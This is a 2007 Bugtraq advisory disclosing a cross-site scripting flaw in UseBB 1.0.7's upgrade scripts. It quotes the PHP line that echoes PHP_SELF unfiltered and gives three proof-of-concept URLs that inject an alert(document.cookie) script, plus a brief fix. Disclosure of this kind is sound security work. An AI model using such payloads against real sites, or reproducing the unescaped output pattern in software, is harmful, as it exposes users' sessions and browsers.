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Date: 20 Jul 2007 19:54:36 -0000 From: s4mi@...uxMail.org To: bugtraq@...urityfocus.com Subject: UseBB 1.0.x Cross Site Scripting (XSS) ############################################################# # Script...............: UseBB version: 1.0.7 # # Script Site..........: http://www.usebb.net # # Vulnerability........: Cross Site Scripting (XSS) # # Acces................: Remote # # level................: Dangerous # # Author...............: S4mi # # Contact..............: s4mi[at]LinuxMail.org # ############################################################# The affected Files : ==================== /UseBB/install/upgrade-0-2-3.php /UseBB/install/upgrade-0-3.php /UseBB/install/upgrade-0-4.php vuln Code: line ~ 86 ===================== [code] return '<form action="'.$_SERVER['PHP_SELF'].'" method="post"><p><input type="hidden" name="step" value="'.$step.'" /><input type="submit" value="' . ( ( $_POST['step'] == $step ) ? 'Retry step '.$step : 'Continue to step '.$step ) . '" /></p></form>'; [/code] The variables PHP_SELF is used without filtering PoC : ==================== http://127.0.0.1/UseBB/install/upgrade-0-2-3.php/"><ScRiPt>alert(document.cookie);</ScRiPt> http://127.0.0.1/UseBB/install/upgrade-0-3.php/"><ScRiPt>alert(document.cookie);</ScRiPt> http://127.0.0.1/UseBB/install/upgrade-0-4.php/"><ScRiPt>alert(document.cookie);</ScRiPt> Solution : ==================== filtre the PHP_SELF or you know what's the best lool : Delete the Install directory :D Shoutz : ==================== Simo64, DrackaNz, Iss4m, Coder212, HarDose, r0_0t, ddx39, E.chark, Nuck3r ....... & all Others
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